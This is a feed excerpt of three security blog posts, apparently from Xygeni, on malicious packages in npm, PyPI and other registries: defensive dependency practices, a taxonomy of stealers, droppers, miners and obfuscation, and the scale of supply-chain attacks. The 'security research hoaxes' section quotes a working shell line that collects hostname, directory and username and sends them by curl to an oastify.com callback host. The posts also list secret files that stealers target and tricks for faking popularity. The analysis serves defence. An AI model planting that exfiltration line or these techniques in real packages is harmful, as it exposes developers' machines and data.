&lt;p&gt;Use version pinning, when possible, as it makes builds more reproducible. Version pinning with controlled, manually approved version bumps, and assisted by helper technology, should assess if the update brings malware or breaks the software, and reconcile updating for fixing vulnerabilities with avoiding malware infection. Tooling can help here, by (1) prioritizing which vulnerabilities really matter (reachable and exploitable, with a high risk of being targeted by attackers), (2) selecting the target versions that are compatible with the current component usages and do not break the software, (3) choosing target versions that do not contain malicious behavior, and (4) making the version update for direct and indirect dependencies a snap, by suggesting changes in the manifest files that could be quickly approved. The step (3) needs specific information about malicious components as close to their publication time as possible.&lt;/p&gt;

&lt;p&gt;This process of updating dependencies must be enforced and verified in all places. The process must be documented, and all parties involved should be trained, as often the development and software build/deployment is externalized. The CI/CD pipelines should be modified accordingly, so automation does not allow a malicious indirect dependency to slip into the build: guardrails blocking the build if there is enough evidence of potential malware in a dependency is the recommended way to go.&lt;/p&gt;

&lt;p&gt;If your organization has an internal registry acting as a security proxy for holding the allowed component versions, you must obtain intelligence on malicious components (besides other criteria) for vetting a requested component before adding it to the allowance list.&lt;/p&gt;

&lt;p&gt;Consuming open-source software with safety is not easy, and the malware factor must be fully taken into account, with similar effort put into vulnerability handling.&lt;/p&gt;

&lt;p&gt;One final note: Source provenance, in the form of software attestations, generated at the build time of the component, is another key piece in the effort to trace the artifact (component tarball) with the sources and build process that produced it. Note that this link between the source snapshot + build environment and the associated software artifact (signed by the trusted build system) does not prevent per-se that the component does not contain malicious behavior, but makes it harder for the bad guys to inject malware. And making provenance validation a common requirement for consuming open source components will take a long time, and only recently added to NPM. Making those trusted build and deploy systems tamper-proof, or enabling detection of any tampering in the build is a different story, out of the scope of this post.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further Reading
&lt;/h2&gt;

&lt;p&gt;The next episode &lt;strong&gt;Open Source Malicious Packages: The Xygeni Approach&lt;/strong&gt; will present the strategy we follow at Xygeni for our Malware Early Warning (MEW) system. New package versions in the public package and image registries are scanned and evidence is obtained using a combination of static, dynamic, capabilities, and contextual analysis. The evidence, combined with user reputation and the history of changes in source code repositories, allows for an all-automated classification of a component into high-risk and probably malicious categories. The system learns from past evidence gathered from packages to reduce the false positives to a minimum.&lt;/p&gt;

&lt;p&gt;Subscribed organizations receive a warning notification for components they are using, directly or indirectly, when a malicious version is categorized. Then a manual analysis is done by our analysts, which confirms or rejects the classification. For confirmed malware, the public registry is notified so that it can perform its own analysis and typically remove the malicious version or take additional action, such as blocking or removing the user account in question.&lt;/p&gt;

&lt;p&gt;We will explain how we are helping NPM, PyPI, GitHub, and other key infrastructures in the open source ecosystem to reduce the dwell time a new malicious component published remains active until it is confirmed malware and removed from the registry. And how organizations may benefit from the MEW system to have a much better protection against software supply chain attacks involving open source components.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;[1]&lt;/strong&gt; Anyway, users of the component need to check if the component tarball is cached or registered somewhere, for example in an internal registry, so the malady is eradicated.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;[2]&lt;/strong&gt; The packaged component includes a manifest that declares its contents and metadata, source or compiled code, installation scripts, and additional items such as test suites, according to a packaging format and typically in compressed form. This is called the “component tarball”.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;[3]&lt;/strong&gt; Even if the malicious actor can modify a published component due to a breach in the registry itself, a plain-old cryptographic digest can detect any change in the tarball after the analysis is done.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;[4]&lt;/strong&gt; Remember that some malicious components run at install time, so it can affect developer nodes that unwittingly run &lt;code&gt;npm install X&lt;/code&gt; with X a malicious component.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>Anatomy of Malicious Packages: What Are the Trends?</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Thu, 10 Jul 2025 08:00:00 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/anatomy-of-malicious-packages-what-are-the-trends-42ja</link>
      <guid>https://dev.to/xygenisecurity/anatomy-of-malicious-packages-what-are-the-trends-42ja</guid>
      <description>&lt;p&gt;In the previous episode, &lt;a href="https://xygeni.io/blog/open-source-malicious-packages-the-problem/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Open Source Malicious Packages: The Problem&lt;/a&gt;, we discussed why the threat actors were so enthusiastic about publishing new malicious components or injecting malware in the latest versions of existing components: The open source infrastructure allows anyone anywhere to create an ephemeral account in a component registry (like NPM, PyPI, Docker Hub or Visual Studio Marketplace) or collaborative development platform (like GitHub). Zero cost, and many opportunities for leveraging the excess trust that software teams traditionally have on third-party components.&lt;/p&gt;

&lt;p&gt;The asymmetry between how easy it is for attackers to distribute malware using the infrastructure available for open source, and how hard it is for organizations developing software (everyone?) to avoid getting infected with malware (and to deliver malware in the software they distribute for others), led to the quarter-million mark of malicious packages almost reached last year.&lt;/p&gt;

&lt;p&gt;This is a problem of such magnitude that no single organization can solve it, and the community is in the process of reframing the open source process concerning trust, secure-by-default and secure-by-design principles, and the lifecycle of components. We will take a look at such ideas in the next episode Protecting Against Open Source Malicious Packages: What Does (Not) Work.&lt;/p&gt;

&lt;p&gt;Remember that we are talking about software components that most of the time correspond to software packages: reusable components packed so they could be referenced as a dependency in a software manifest, and installed with a package manager or build tool. Please note that this case could be expanded to include public container images (used by container runtimes and orchestration platforms like Kubernetes), and extensions to software tools (for building, automation, and deployment).&lt;/p&gt;

&lt;p&gt;Here we analyze how this attack tactic based on malicious components works, according to past examples and what we have seen in our platform for Malware Early Warning (MEW). We will dissect malicious components in different dimensions:&lt;/p&gt;

&lt;p&gt;(1) the way chosen for distribution (registry used, in a new or existing component, and the technique used for infecting the component version published), (2) how the malware is activated or triggered, (3) the malicious behavior i.e. what harmful actions are observed and which is the motivation of the attacker, (4) which techniques are common for obfuscation, hiding for going unnoticed, lateral movement, communication with command and control (C2) hosts, etc.; and (5) the techniques for gaining enough popularity and trust so the victims end up installing the component.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Distribution Mechanism Chosen
&lt;/h2&gt;

&lt;p&gt;We observe a “background noise” of unsophisticated malicious packages using typosquatting to phish unwary developers with a typo in the package name for their dependency. Many popular packages receive a barrage of similarly named packages with typos, with the expectation that they will phish some unwary developers. &lt;/p&gt;

&lt;p&gt;They use an ephemeral account, publish a group of typosquat packages, create another, and publish another group… Using some automation and ingenuity they can get some sophistication, but typically they are rather trivial. We internally call them “anchovies”. Credentials stealing is the main goal, but occasionally we find spyware exfiltrating source code or sensitive data like personally identifiable information (PII), clipboard capture, and other misgivings.&lt;/p&gt;

&lt;p&gt;Coming out of the blue we see more sophisticated malicious components, the “sharks”. A minority are targeted to specific groups or organizations, typically with crypto drainers or web skimmers that are activated conditionally, perhaps following the approach seen in the event-stream incident of decrypting the attack payload only when the package is referenced from a target package. &lt;/p&gt;

&lt;p&gt;The distribution mechanism was analyzed in the excellent and now classic paper, “Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks”, which is a must-read. Surely you have seen this nice chart before:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86j13borhwkv5c229euf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86j13borhwkv5c229euf.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;br&gt;
All avenues were explored, including new and existing packages; affecting the source code, the build system, or the packaged component itself; using stolen credentials or social engineering; hijacking abandoned accounts and repositories or poisoning maintained ones. Some attacks received names (Typosquatting, Dependency Confusion, Manifest Confusion, Repo-jacking. etc.) and were already discussed elsewhere. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What about the registries chosen?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
NPM continues to lead in the total number of malicious packages, but we saw a spike starting this year on PyPI. Python is a popular ecosystem for data science and machine learning. In fact, the malware density is now higher in PyPI than in NPM. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How the malware is triggered&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Malicious packages are triggered during installation in only 4 out of 10 cases (in recent years it was close to 6 out of 10). The rest runs malicious behavior at runtime, with 1 out of 100 triggered while running tests. The adversaries seem to know that uncontrolled execution of installation scripts was disabled in many places.&lt;/p&gt;
&lt;h2&gt;
  
  
  What are the bad guys getting?
&lt;/h2&gt;

&lt;p&gt;We will list the malicious behavior categories, with the most popular first. Please note that impact could be quite different: a wiper is stubbornly destructive, but it is not common and was seen only in a few cases, related to targeted cyber war campaigns or brutal hacktivism. The following categories are pretty common:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;InfoStealer / Credentials Drainer.&lt;/strong&gt; By far the most frequent, over 90% of the unsophisticated attacks are simple stealers mainly looking for credentials like passwords, access tokens, API keys, and private keys (for SSH and the like). It is probably the simplest to write (along with wipers?). They enumerate known files/directories and other sources (e.g. registry keys), package the contents, and send that data to a C2 server. The idea is simple: “I publish a stealer for phishing credentials, so I can later use the credentials for launching a directed attack”. &lt;br&gt;
The C2 networking observed is typically cheap-and-dirty, like Telegram channels or ngrok-like tunneling tools (often in the form of reverse proxies exposed through VPN egress IPs). There are hundreds (!) of possibilities, with many GitHub projects under the password-stealer topic. Specializations like keyloggers are rare for malicious packages and container images, but more frequent in tool extensions, where user interaction is expected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dropper / Downloader.&lt;/strong&gt; The second in popularity, typically coming first in multi-stage attacks. More than one in three of malicious components have droppers (if the malicious payload comes included within the package) or downloaders (the payload is downloaded from an endpoint under the control of the attacker). The payload is often a known binary malware variant, and it is run and sometimes persisted, for installing backdoors, spyware, crypto drainers, and other use cases. The payload downloaded or deployed starts a second-phase attack with all the power provided by existing malware binaries. The binaries can be distributed within the package, often masqueraded as images or supposedly innocuous file types, to avoid detection while connecting to unexpected sites. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cryptocurrency Stealers / Miners.&lt;/strong&gt; Financially motivated adversaries are willing to use your cloud assets for running cryptominers (they even detect if they are running in a cloud VM). They do not care about the low-profit ratio of $1 for every $53 charged to the victim for the stolen cloud infrastructure. Victims may not be aware of this until they receive an unexpected bill. Fortunately, this comes and goes. Cryptojacking campaigns in malicious packages occasionally pop up and then fade away, phishing for wallet users or eventually targeting the wallet provider, as in the Ledger attack.   &lt;/p&gt;

&lt;p&gt;Other behaviors, like deploying a backdoor for remote code execution by opening a reverse shell is less frequent now than in the past. For example, the 123rf_contributor_web package (now removed from the registry) opens without any obfuscation a reverse shell copied and pasted from the &lt;a href="https://highon.coffee/blog/reverse-shell-cheat-sheet/" rel="noopener noreferrer"&gt;Reverse Shell Cheat Sheet&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxlprgk9q0m67oa9u23gm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxlprgk9q0m67oa9u23gm.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Malicious package types were observed during the week of 24–30 June 2024.&lt;/p&gt;

&lt;p&gt;In addition to legitimate and malicious components, we have observed several abuses, including:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Spam packages&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
There are thousands of small packages, mostly in NPM, with no malware but promising easy earnings, snake oil, links to Viagra offerings, and all that. A few users publish such spam and take a lot of bandwidth from the registry. Another actor(s) possibly from Indonesia tried to extract benefit by abusing the teaRank intended for compensating open-source developers, by creating tens of thousands of interrelated NPM packages with related GitHub dummy repositories. This is a clear violation of the terms of use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bug bounty and security research hoaxes&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
When a package describes itself as exfiltrating data for good purposes, like detecting security flaws for bug bounty programs or researching certain aspects of the ecosystem. We have seen thousands of packages in this category, which fetch identification but not too sensitive data to a &lt;a href="https://portswigger.net/burp/documentation/collaborator" rel="noopener noreferrer"&gt;Burp Collaborator&lt;/a&gt; address from PortSwigger (e.g. host in &lt;code&gt;oastify.com&lt;/code&gt; domain). We observed often copycats&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"a=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;whoami&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'aurora-webmail-pro'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &amp;amp;&amp;amp; echo &lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="s2"&gt; | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/&lt;/span&gt;&lt;span class="nv"&gt;$ut&lt;/span&gt;&lt;span class="s2"&gt;;done"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And also included a “This is Simple Dependency Confusion Attack Proof of Concept” disclaimer description in the package.json. This is a clear violation of the terms of service, even without malicious intent. &lt;/p&gt;

&lt;p&gt;Some good news? We have not seen (yet) ransomware attacks delivered through malicious components. For unknown reasons, cybercriminals seem to prefer more traditional email phishing, RDP-based, and drive-by download delivery mechanisms.&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional Techniques Observed
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphd88wxtuqygs0bm7uz6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphd88wxtuqygs0bm7uz6.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Many techniques were used for persistence, defense evasion, information collection, communication with command &amp;amp; control hosts, and exfiltration. &lt;/p&gt;

&lt;p&gt;Persistence in malicious components is gained using the persistence features in a second-stage binary malware, but sometimes the behavior is located in the package code, with scheduled tasks and changes in the Windows registry the most common. &lt;/p&gt;

&lt;p&gt;Obfuscation is common, but unsophisticated. Most typosquatting packages (remember the “anchovies”?) do not use obfuscation at all; many use either trivial ones (base64/hex encoding or substitution ciphers like rot13) or use available code obfuscators and minification, which is easily reversed with the right tooling. Only the “sharks” do real, hard-core, obfuscation, hard to reverse-engineer.&lt;/p&gt;

&lt;p&gt;Obfuscation may hide the attack, but why would code in an open-source component need to be obfuscated? Is there evidence that something needs to be hidden from plain sight? We have found many instances of non-malicious packages that use obfuscation to protect intellectual property, which is contradictory to “open source”. Obfuscation can be used as evidence of malware, but it’s not conclusive. It’s also difficult to de-obfuscate. &lt;/p&gt;

&lt;p&gt;Evasion from defense controls adopts simple techniques. Malicious code is often protected in try … catch blocks that ignore any exceptions, so abnormal activity is not shown in the logs. Verification of the environment (running in a VM or container) is rare, unless for malware targeting a particular organization or environment.&lt;/p&gt;

&lt;p&gt;Masquerading binaries in images and PDF files (sort of steganography) was another technique seen to evade detection.&lt;/p&gt;

&lt;p&gt;As the most common malicious components are infostealers, data collection is essential. Secrets (passwords, access tokens, API keys, cryptographic keys) are routinely scanned in log files, environment variables, and even the clipboard (seen with banking trojans and crypto stealers). Source code exfiltration is also common, as the package installation is often done in a development node where internal git repositories might be cloned. We have seen packages enumerating directories in search of git repositories. Looking for locations like .env, private.pem, settings.py, app.js, or application.properties is quite common.&lt;/p&gt;

&lt;p&gt;Exfiltration is another widely deployed action. Only a minority of malicious packages even try to hide the destination of the extracted data. Telegram channels and ngrok-like tunnels are often used. And there are many typically whitelisted domains used for exfiltration. &lt;/p&gt;

&lt;p&gt;Other techniques, like privilege escalation or lateral movement, were less common.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gaining Popularity and Trust
&lt;/h2&gt;

&lt;p&gt;Imagine a tech crook with a ready-made killer malicious thing wondering: “How do I make this piece of s#$! trustworthy to those unsuspecting morons?“.&lt;/p&gt;

&lt;p&gt;That translates into how to make the entry for the malicious component to show many stars / forks (for popularity), plus versions / issues and pull requests (for activity). The idea is to gain fictitious popularity (stars) and dependents, and a convincing look regarding relevance and maintenance. &lt;/p&gt;

&lt;p&gt;The registry does not check if the contents in a GitHub project and the package contents match. This is a well-known issue in the software supply chain. The public registries are giant sinkholes that swallow everything thrown at them. You can link any repository.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1ncv13bd5gom88jiqsq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1ncv13bd5gom88jiqsq.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Evidence distribution in potential malware during the week of 24–30 June 2024.&lt;/p&gt;

&lt;p&gt;If the malicious package typo-squats a popular one, that’s easy: just reference the existing GitHub repository in the dependencies manifest used for creating the package and publishing it into the registry. For new packages on a fake GitHub repo, you may need more ingenuity, perhaps creating fake stargazing/forking GitHub accounts via scripting.&lt;/p&gt;

&lt;p&gt;And if the contents of your package are reasonably similar to the repo, slip a couple of well-designed changes here and there… You can inject your malware into a new package resembling a popular one referencing the existing one’s repository, and wait for the typos. If anyone dares to compare the contents of the package tarball with the contents from the GitHub repository, the differences at the malware injection points could be easily missed. We have seen this approach many times before. &lt;/p&gt;

&lt;p&gt;A mechanism for a component to make a tamper-proof statement about provenance, how the package was built, from what sources, and by whom, would be welcome. But that is another story.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is component X malware?
&lt;/h2&gt;

&lt;p&gt;Is there a (comprehensive) database of malicious packages? Nope. Open-source vulnerabilities have a CVE ID assigned, but only a few malicious packages (particularly the ones that make headlines) are given one. The CWE for malicious packages is CWE-506 (embedded malicious code). &lt;/p&gt;

&lt;p&gt;The usual malware tools (VirusTotal, MalwareBazaar, SOREL-20M…) do not make specific provisions for malicious components. That would be welcome!&lt;/p&gt;

&lt;p&gt;There are research sample databases and datasets for analysis (we use a few of them), but entries are updated only when the malicious package is known, which is often too late. If you are interested, the &lt;a href="https://github.com/ossf/malicious-packages" rel="noopener noreferrer"&gt;OpenSSF Malicious Packages&lt;/a&gt; is a nice start.&lt;/p&gt;

&lt;p&gt;In the next post, we will discuss how to know if a given package is malicious. Spoiler: yes, there are ways of checking for malicious components early during the exposure window, before the registry removes a known malicious component.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;In the next episode &lt;em&gt;“Protecting Against Open Source Malicious Packages: What Does (Not) Work”&lt;/em&gt; we will discuss the do’s and don’ts for open-source security. Most security-aware professionals have intuitions about how to handle this threat, but misconceptions abound. &lt;/p&gt;

&lt;p&gt;We will review why these ideas are wrong, and how such misconceptions are contributing to the popularity of this attack mechanism, and to the overwhelming risk that organizations are experiencing. We will proceed then with what does work, and which is the effort and resources involved. &lt;/p&gt;

&lt;p&gt;Also, we are going to post about the evolution of malicious packages in terms of their intent, injection mechanism, and attack techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stay tuned!&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://xygeni.io/blog/open-source-malicious-packages-the-problem/?utm_source=devto&amp;amp;utm_medium=devto&amp;amp;utm_campaign=product" rel="noopener noreferrer"&gt;Open Source Malicious Packages: The Problem&lt;/a&gt;, previous episode in this series.
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://arxiv.org/abs/2005.09535" rel="noopener noreferrer"&gt;Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ossf/malicious-packages" rel="noopener noreferrer"&gt;OpenSSF Malicious Packages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>opensource</category>
      <category>devops</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Open Source Malicious Packages: The Problem</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Mon, 16 Jun 2025 13:00:00 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/open-source-malicious-packages-the-problem-55ea</link>
      <guid>https://dev.to/xygenisecurity/open-source-malicious-packages-the-problem-55ea</guid>
      <description>&lt;p&gt;Open Source Malicious Packages: The Problem&lt;br&gt;
&lt;strong&gt;This is the first episode in a series of articles about the most prevalent kind of software supply chain attacks: those that (ab)use a public registry of software components, intended for open-source projects to upload artifacts that could be shared with other users.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When the bad guys publish malicious software there, using the registry as a vehicle for malware distribution, we have a supply chain attack when the victim organizations install or run the infected software component.&lt;/p&gt;

&lt;p&gt;To simplify the discussion we will talk about &lt;strong&gt;software packages&lt;/strong&gt;: components in a packaged form produced by third parties. This includes not only components used by package managers like &lt;a href="https://www.npmjs.com/" rel="noopener noreferrer"&gt;NPM&lt;/a&gt; or &lt;a href="https://python-poetry.org/" rel="noopener noreferrer"&gt;Poetry&lt;/a&gt;, but also operating system components including libraries and executable binaries, container images, and virtual machines, or tool extensions for development, build, and deployment tools. &lt;/p&gt;

&lt;p&gt;We have seen malicious packages everywhere. Cybercriminals do not mind: they are delighted by the alternatives provided by modern software infrastructures and use the registry and the tool that best fits their intent. So please remember that &lt;strong&gt;software packages are a shorthand for container images, binary packages, open-source repositories, and extensions or plugins of all sorts (IDEs, CI/CD systems, build tools). All are routinely under attack.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series: What to Expect
&lt;/h2&gt;

&lt;p&gt;The series will have 5 episodes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;What Is the Problem With Open Source Packages?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This is the theme of this post. Why are criminals of all kinds publishing malicious packages? Why should I be concerned?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Anatomy of Malicious Packages: What Are the Trends?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
In this episode, we focus on the threat we are monitoring with our MEW system, day after day. With a large background noise due to a large number of malicious packets using typosquatting or dependency confusion, a smaller percentage of attacks are much more insidious and pose a greater risk. How has the bad actors’ behavior regarding OS changed in the recent past? What are the numbers? What are the tactics, techniques, and procedures used, and the harmful actions seen?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Protecting Against Open Source Malicious Packages: What Does (Not) Work&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Most security-aware professionals have ideas about how to handle this threat. In this episode, we will review why some common assumptions are wrong and which efforts and resources are really needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Open Source Malicious Packages: The Xygeni Approach&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Here we present the strategy we follow at &lt;a href="https://xygeni.io/?utm_source=DEVTO&amp;amp;utm_medium=PRODUCT&amp;amp;utm_campaign=PRODUCT" rel="noopener noreferrer"&gt;Xygeni&lt;/a&gt; for our Malware Early Warning (MEW) system, including how the system works, how evidence is gathered, triaged, and how classification is improved.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exploiting Open Source: What To Expect From The Bad Guys&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The series ends focusing on the newest actions the adversaries are embracing to make the attacks stealthier, more targeted, and how AI is being leveraged for advanced malware delivery.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s open the stage with the first episode: &lt;strong&gt;What’s going on with malicious open source packages?&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is the Problem With Open Source Packages?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3rqd5fvy6sbkcd8yt7v.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3rqd5fvy6sbkcd8yt7v.jpg" alt="the Problem With Open Source Packages" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In recent years, wrongdoers of all kinds used open source software registries for delivering malicious behavior. These activities are as old as open source, but their frequency exploded in the last three years.&lt;/p&gt;

&lt;p&gt;Publishing malicious components into public registries (dependency-based attacks) is asymmetric guerrilla warfare that threat actors use to distribute malware, leveraging the trust that organizations put in open source components coming from unknown developers (remember the dependency &lt;a href="https://xkcd.com/2347/" rel="noopener noreferrer"&gt;xkcd comic&lt;/a&gt;?). Because you trust packages and do not manually review their contents and dependencies, these attacks are extraordinarily effective. The asymmetry comes from the fact that they can be largely automated, and the bad guys do not need to interact with the victim directly. They simply upload the package into the public registry and let it go.&lt;/p&gt;

&lt;p&gt;Malicious packages surged by a 6x factor in 2022, and continued to grow by a 2.5x factor in 2023. Last year, a whopping &lt;strong&gt;245,000 malicious packages&lt;/strong&gt; were seen—a figure that more than doubles the total number from previous years combined. This is exponential growth! From package removals as confirmed malware in the hundreds during 2021 and in the thousands during 2022, we saw much more background “noise” during 2023, with a similar pace for this year. Hidden in that noise—caused by unsophisticated cybercriminals following the “path of least resistance”—a minority of high-profile attacks reached headlines even in general media.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why is this a problem of such magnitude?
&lt;/h3&gt;

&lt;p&gt;There is an &lt;strong&gt;excess of trust all over the chain&lt;/strong&gt;. Open source software is distributed with its source code, and released under a given license. Yes, anyone can inspect the source code—but who does, at scale? Who, after inspecting that the software has no malware, builds the software from the sources? Who, before passing the packaged component (also known as a &lt;em&gt;package&lt;/em&gt;) downstream to the package manager or build tool, makes sure that it is malware-free and matches the supposed source code?&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does the infrastructure allow such easy attacks?
&lt;/h2&gt;

&lt;p&gt;Package registries are open, often requiring minimal verification of the identity of the publisher. “Anyone is welcome to publish their software here!” The bar for attackers is set low: they use disposable email addresses and disposable GitHub accounts to create hundreds of malicious packages in short, phishing-like campaigns. Only for targeted ones a higher sophistication is needed: we’ve seen even credible GitHub source repositories with many stars and commits from multiple fake contributors and ...&lt;/p&gt;

&lt;p&gt;Package managers were designed for ease of use, not for security. They can run pre- and post-install scripts (sometimes compiling native code for a library is necessary). Also, package managers install packages from multiple sources, and sometimes the default is to use public registries. They did not check for mismatches between the metadata in the publish request and the metadata in the package itself.&lt;/p&gt;

&lt;p&gt;Dependencies are nested and form a graph. In certain ecosystems like Node (JavaScript), small-grained dependencies accumulate in the hundreds or thousands. One thing is to have strict control over direct dependencies declared by your software projects, but transitive dependencies are harder to control. Open source followed “the friends of my friends are my friends” logic. Brotherhood is the norm in the wild Far East! Threat actors know this and hide malicious behavior deep in obscure dependencies that are...&lt;/p&gt;

&lt;p&gt;This is how open source software worked since its inception. It will not change much. Some package registries are demanding at best two-factor authentication, and often just for the most popular packages. Some registries provide scopes, a namespace owned by a vetted organization, but tragically others do not support it (like PyPI) or make it optional (like NPM).&lt;/p&gt;

